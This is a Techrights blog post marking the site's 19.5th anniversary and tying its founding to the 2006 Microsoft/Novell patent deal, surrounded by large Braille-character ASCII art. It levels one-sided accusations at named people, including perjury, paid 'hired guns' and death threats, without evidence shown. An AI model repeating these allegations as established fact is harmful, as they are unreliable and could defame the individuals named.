⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ䷩ 𝚕𝚒𝚗𝚎 4310 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Techrights_at_19_5_We_Started_in_2006_Days_After_the_Microsoft_.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Techrights_at_19_5_We_Started_in_2006_Days_After_the_Microsoft_.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Techrights at 19.5 (We Started in 2006, Days After the Microsoft/Novell Deal)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 It all began with Novell (back then run by a former IBMer, who has_since_then sent_me_threats) 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇oh_good_lord,_New_York?_Thanks_for_the_evidence_that_I've been_part_of_the_conspiracy_for_20_years⦈_ 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Balabhadra_(Alex)_Graveley,_Miguel_de_Icaza⦈_ The age of Techrights is only days lower than the age corresponding to the date Novell signed the treasonous (to the community) patent deal with Microsoft - a deal that was partly promoted if not arranged by Miguel_de_Icaza, a friend of Garrett_and_Graveley. Miguel de Icaza's role in this was confirmed by several prominent people who worked at Novell; it's not a mere guess or theory but a well-documented and still-preserved fact. When Novell bought Ximian (run by the "best friend" of Graveley) it brought trouble to all of us, not just to Novell and - by extension - to SUSE. Ximian was run by Microsofters (some with employment record at Microsoft). Days ago this site turned 19.5. It was created (originally) as a response to what Novell had done with Microsoft. Novell (as a public company) ceased to exist just 4 years later, but we're still around. We also understand, based on Garrett himself, that his hired_guns are paid by third parties and it is repeatedly arranged by him (Garrett). His lies_about_this are unsustainable and will, in due course, prove rather costly. Perjury and death_threats (the cops deemed this "threat to kill") are funny to nobody. █ * In_Croatia,_Microsoft_Windows_Share_Sank_From_98%_to_All-Time_Low_of_67%_ (or_28%_If_One_Counts_Android) * How_the_European_Patent_Office_Became_a_Crime_and_Corruption_Hub,_One_of Europe's_Biggest ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣾⣿⣿⣿⣿⣷⠀⢠⣠⣄⣀⣀⣀⢀⣠⣀⢠⣀⣀⣀⣀⢀⣀⡀⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡤⡀⣀⣄⣀⡀⣠⣠⠀⣠⡠⡠⡠⡀⠀⠀⠀ ⠀⣿⣿⣿⣿⣿⣿⠀⠈⠉⠙⠋⠉⠉⠈⠉⠉⠈⠉⠉⠉⠉⠈⠉⠁⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠁⠋⠋⠋⠁⠚⠐⠂⠚⠑⠘⠒⠁⠀⠀⠀ ⠀⣿⣿⣿⣿⣿⣿⠀⠸⡭⠷⠃⢨⠧⠿⠾⠿⠾⠷⠵⠯⠷⠷⠾⠚⠿⠾⠾⠓⠕⠽⠿⠿⠴⠗⠕⠅⠸⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢰⣲⣶⢢⢔⣖⣴⡆⣶⣶⢔⢶⣶⣶⢰⣶⣶⡢⢰⡖⢔⢴⡶⣶⣶⢰⣶⢴⠰⡒⣴⣦⢰⢶⣖⢶⣶⡶⢢⣶⣶⡆⣲⣴⡄⣢⢆⢶⣖⣖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⠒⠒⠦⠦⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⢄⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠿⠾⠶⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡘⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⢀⠀⢠⠃⠀⢀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⣟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⢄⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣄⣼⠿⢿⣷⠀⠀⠀⢀⣤⣾⣿⣿⣿⣿⣶⠁⠄⠄⠀⠤⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⢚⣿⣇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠈⣿⣧⡄⠀⣈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢠⡤⣵⣿⣿⣿⣄⣾⡀⢸⣿⣻⣿⣿⣿⣿⣿⣿⡆⣠⡄⠀⠀⠀⠀⠛⠿⣯⣾⣁⣠⣠⣶⣿⣴⣀⣀⢀⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣆⣴⣿⣿⣿⣿⣿⡟⠟⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⢠⢿⣿⡂⠀⠛⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⠁⠐⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠘⡭⡛⠁⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⣶⡌⠈⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣴⣤⣄⣀⡀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣵⣶⣦⠀⠀⢀⣀⡀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⢀⡀⢄⢤⣤⣤⣤⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣬⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢟⣴⣾⣿⣿⣿⣷⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣷⠀⠀⠀⠀⠀⢤⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⢈⣾⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣿⡄⠀⢀⠀⠠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣾⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⣴⣿⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣿⠁⠛⠿⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⣠⣶⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⡿⠴⠿⠿⣿⣿⣿⣿⣿⣿⣿⡿⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡠⢬⡛⠿⡏⠛⡻⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⡟⣿⡇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣘⣃⡀⠛⣊⣀⣀⣁⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣟⣋⡗⠇⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠠⣶⠤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠒⡓⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⣣⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡎⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⠠⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠚⠛⢛⣿⠽⠷⠀⢰⣴⣤⣦⣶⣤⣤⣤⢰⣦⣤⣤⣤⢤⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠸⢿⣿⡷⠀⠀⢀⣀⣀⡀⢀⣀⢀⣀⣀⢀⢀⢀⣀⡀⣀⣀⢀⣀⣀⣀⠀⣀⡀⡀⢀⢀⢀⣀⣀⡀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠰⠿⠮⠟⠂⠀⠀⠘⠖⠛⠸⠱⠓⠛⠛⠟⠁⠓⠛⠛⠛⠋⠛⠋⠛⠘⠃⠛⠋⠂⠂⠐⠒⠛⠛⠓⠑⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣔⠖⣴⣴⣶⡤⣤⣤⣤⣦⢴⣤⢴⡤⣤⡤⡤⣤⢀⣤⡦⡄⡤⣤⢤⡤⣤⡆⢰⡤⣤⡤⡆⢰⢆⣦⡤⣤⡄⢢⢦⢤⡤⣦⢲⠐⠒⣶⣤⢤⣤⢰⣤⣤⢰⡠⣤⠄⡦⣦⣠⡄⣤⣤⣴⠠⣦⣤⣤⣤⣤⡤⠀⠀⠀⠀⠀ ⠀⠙⡋⠈⠁⠉⣘⠉⠁⠉⡁⠉⠈⠈⠈⠈⠉⠉⠉⠀⡉⠁⠁⡘⡁⡁⠉⠈⠁⠈⠉⠈⠈⠉⠈⡀⠉⠁⠉⠀⠈⡀⠁⠁⢉⡈⣀⠀⠁⠁⠉⠁⠈⠉⠁⠈⠈⠉⠀⠈⠉⠈⠁⠈⠁⠉⠈⠁⠁⠁⠈⠁⠁⠀⠀⠀⠀⠀ ⠀⠯⠿⠸⠟⠅⠏⠳⠻⠇⠯⠿⠿⠿⠏⠇⡯⠿⠿⠏⠇⠪⠿⠇⠯⠿⠺⠇⠯⠽⠕⠿⠼⢿⠕⠿⠽⠿⠭⡟⠸⠿⠕⠏⠰⠿⠼⢈⡎⠿⠿⠿⠹⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⡀⡀⠀⠀⡀⡀⢀⣀⣀⣀⡀⢀⣀⡀⣀⣀⢀⣀⢀⠀⠀⠀⣀⡀⠀⠀⢀⢀⠀⠀⡀⠀⠀⠀⠀⢀⠀⠀⡀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠋⠛⠛⠁⠃⠓⠐⠛⠓⠓⠓⠘⠛⠛⠛⠛⠘⠙⠛⠀⠀⠀⠻⠞⠀⠁⠘⠚⠛⠛⠛⠛⠛⠛⠁⠃⠋⠁⠛⠛⠛⠛⠛⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠘⣿⣿⣿⡇⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣿⣿⣿⣷⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⢸⣿⣿⣿⡀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣭⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⣿⣿⣿⡇⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠤⠄⠀⠀⠀ ⠀⠀⠀⠀⢿⣿⣿⣷⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠕⡟⠹⠸⠹⠹⠸⡹⠈⠛⠏⡏⠇⡏⣿⠋⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢺⣿⣿⣿⡀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⡟⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡻⠿⠿⠟⡟⡛⡿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⡀⠀⠙⢿⣿⡇⢸⣿⣿⡏⡹⡉⡏⡟⡟⡟⡟⡟⠟⡏⣿⢻⢹⠻⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣜⣷⣆⣇⣧⣳⣧⣻⣸⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠰⢿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⢀⢀⣷⣤⡀⢉⢷⣌⣿⣿⡷⢿⣶⣷⣦⣦⣷⣶⣷⣾⣶⣿⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢫⡯⡟⣻⠛⡟⡟⢟⢻⢹⠛⠟⠟⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 